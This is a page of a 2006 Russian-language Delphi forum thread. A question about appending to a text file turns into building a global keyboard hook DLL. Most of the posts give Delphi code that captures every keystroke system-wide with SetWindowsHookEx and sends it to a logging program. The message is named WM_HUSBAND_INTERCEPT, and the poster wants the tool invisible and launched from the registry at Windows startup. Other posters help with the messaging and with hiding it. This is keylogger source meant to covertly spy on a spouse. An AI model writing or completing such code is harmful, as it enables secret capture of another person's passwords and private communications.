Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Запись в текстовый файл [D7, WinXP]


Страницы:   1 2 3 4 5

Tanya ©   (2006-07-26 21:33:00) 

Что-то я никак не пойму почему не работает запись в файл... Делаю я так:

var
F: TextFile;

при запуске программы:

 AssignFile(F, 'file.dat');
 if FileExists('file.dat') then
   Append(F)
 else
   Rewrite(F);


при закрытии программы:

 CloseFile(F);


во время работы программы в определенные моменты файл постоянно дополняется новой строкой(ами):

WriteLn(F, 'test');


Файл создается если его нету, но вот почему в него не записывается ничего я не пойму...((( В блокноте открываю его, а там пусто...((( Мастера, подскажите пожалуйста..


Tanya   (2006-07-27 13:49:00) [41]

Чапаев, это из за того что RegisterWindow[s]Message()не используем? Или из за чего?


Чапаев   (2006-07-27 13:48:00) [42]


> Правда не работает...(((

Указатели между программой и библиотекой передавать не удастся. Точнее, не удастся с ними работать. ;-) Или используй сообщение WM_COPYDATA, или смотри в сторону file mapping.


Tanya   (2006-07-27 13:41:00) [43]

Правда не работает...(((


Чапаев   (2006-07-27 13:38:00) [44]


> procedure TForm1.WMHusbandIntercept(var Message: TMessage);
>
> var
>  sText: PChar;
> begin
>  ?????????????????????????????
>  Memo1.Lines.Add(sText);
> end;

sText:=PChar(Message.LParam);
Только имхо работать не будет.


Tanya   (2006-07-27 13:35:00) [45]

Я не очень понимаю как обрабатывать это сообщение в программе, как вытащить из сообщения текст?

Передача в библиотеке:

SendMessage(HWND_BROADCAST, WM_HUSBAND_INTERCEPT, 0, Longint(pTransChar));


Прием в программе:

private
 procedure WMHusbandIntercept(var Message: TMessage); message WM_HUSBAND_INTERCEPT;
...

procedure TForm1.WMHusbandIntercept(var Message: TMessage);
var
 sText: PChar;
begin
 ?????????????????????????????
 Memo1.Lines.Add(sText);
end;


Чапаев   (2006-07-27 13:30:00) [46]


> Tanya   (27.07.06 13:26) [46]

Вообще-то лучше вызывать RegisterWindow[s]Message().


Tanya   (2006-07-27 13:26:00) [47]

Идею поняла, а вот это сообщение:

const
 WM_HUSBAND_INTERCEPT=WM_USER+117;


и в программе и в библиотеке прописать как константа?


tesseract   (2006-07-27 13:20:00) [48]

забыл про эту фишку.

заводишь новое сообщение WM_HUSBAND_INTERCEPT=WM_USER+117 например,  и вместо хэндла окна шлёшь  на  HWND_BROADCAST.

Остальные приложения твоё сообщение проигнорируют.


Чапаев   (2006-07-27 13:12:00) [49]

А с записью в файл изнутри хука таки були проблемы... В их причинах так и не разобрался.


Чапаев   (2006-07-27 13:11:00) [50]


> Можно ли сделать какнибудь чтобы не прокисали? ))) Я просто
> хочу сделать ее незаметной, функции из библиотеки прописать
> на события запуска и выключения Windows-а в реестре..

Зачем велосипед изобретать? System log давно придуман и успешно действует...

Ещё я бы смотрел в сторону App_InitDLL, хотя это и жестоко. ;-)


Tanya   (2006-07-27 13:07:00) [51]

Попробовала передавать в программу сообщением, так вот хендл окна программы тоже получается что хранится в глобальной переменной..((( Так как я сделала не работает..((( Мастера подскажите пожалуйста что не так:

Библиотека:

var
 SysHook: HHook = 0;
 RecHandle: Hwnd = 0;

function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall;
var
 ModuleFileName: array[0..MAX_PATH-1] of Char;
 KeyBS: TKeyboardState;
 pTransChar : PChar;
begin
 if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
   begin
     GetKeyBoardState(KeyBS);
     GetMem(pTransChar, 3);
     ToAsciiEx(wParam, 0, KeyBS, pTransChar, 0, GetKeyboardLayout(0));

     GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName));

     SendMessage(RecHandle, WM_COPYDATA, 0, Longint(pTransChar));

     FreeMem(pTransChar);
     Result := 0;
   end
 else
   Result := CallNextHookEx(SysHook, nCode, wParam, lParam);
end;

procedure RunHook(AppHandle: Hwnd); export; stdcall;
begin
 RecHandle := AppHandle;
 SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0);
end;


Программа:

private
   procedure WMCopyData(var Message: TWMCOPYDATA); message WM_COPYDATA;
...

procedure TForm1.WMCopyData(var Message: TWMCOPYDATA);
var
 sText: PChar;
begin
 StrLCopy(sText, Message.CopyDataStruct.lpData, Message.CopyDataStruct.cbData);
 Memo1.Lines.Add(sText);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 if Button1.Caption = 'Run' then
   begin
     Button1.Caption := 'Stop';
     RunHook(Form1.Handle);
   end
 else
   if Button1.Caption = 'Stop' then
     begin
       StopHook;
       Button1.Caption := 'Run';
     end;
end;


tesseract   (2006-07-27 12:09:00) [52]


> Slym ©   (27.07.06 12:05) [40]


Если не три клавы, то наверное проблем быть не должно.
Хотя кто знает. открыть можно для совместной записи :-)


Slym   (2006-07-27 12:05:00) [53]

tesseract ©   (27.07.06 10:46) [39]
Но ты подходил с позиции прокисшего хендла, а я с позиции незащищенного многопоточного доступа к неразделяемому ресурсу


tesseract   (2006-07-27 10:46:00) [54]


> Slym ©   (27.07.06 09:23) [36]


три раза говорил про это.


isasa   (2006-07-27 10:34:00) [55]

Slym ©   (27.07.06 09:22) [35]
Slym ©   (27.07.06 09:23) [36]

Если в потоке(процедуре SysMsgProc) его открывать, и после записи закрываь, что, скорее всего надо делать, все будет хорошо.

Кстати, данные какого потока загружены в данный момент
var
F: TextFile;
SysHook: HHook = 0;
код один, а данные у каждого свои.


Ditrix   (2006-07-27 09:47:00) [56]

>>-=Germe$=- ©   (27.07.06 07:14) [32][34]
>>Зря... Оно так и работает... Иди поучи паскаль....
убил! :-)
imho орешника достойно


Slym   (2006-07-27 09:23:00) [57]

Решение:
один поток с доступом к файлу, это может быть приложение устанавливающее хук


Slym   (2006-07-27 09:22:00) [58]

Кстати ни кто даже не предположил что доступ к файлу получится многопоточный :(
1. если один раз открыть файл в dll то писаться может чушь
2. если каждый раз открывать файл в dll то в прекрасный момент он может не открыться, т.к. уже захвачен в др. потоке


-=Germe$=-   (2006-07-27 07:14:00) [59]


> Рассмешил с утра, спасибо :)

Зря... Оно так и работает... Иди поучи паскаль....


Джо   (2006-07-27 06:57:00) [60]

> [32] -=Germe$=- ©   (27.07.06 06:47)
> Вы вообще о чем?? Как текстовый вайл может иметь расширение
> .dat оно обязательно должно иметь расширение .txt

Рассмешил с утра, спасибо :)


Страницы:   1 2 3 4 5

Наверх

Титульная страница Поиск, карта сайта Написать письмо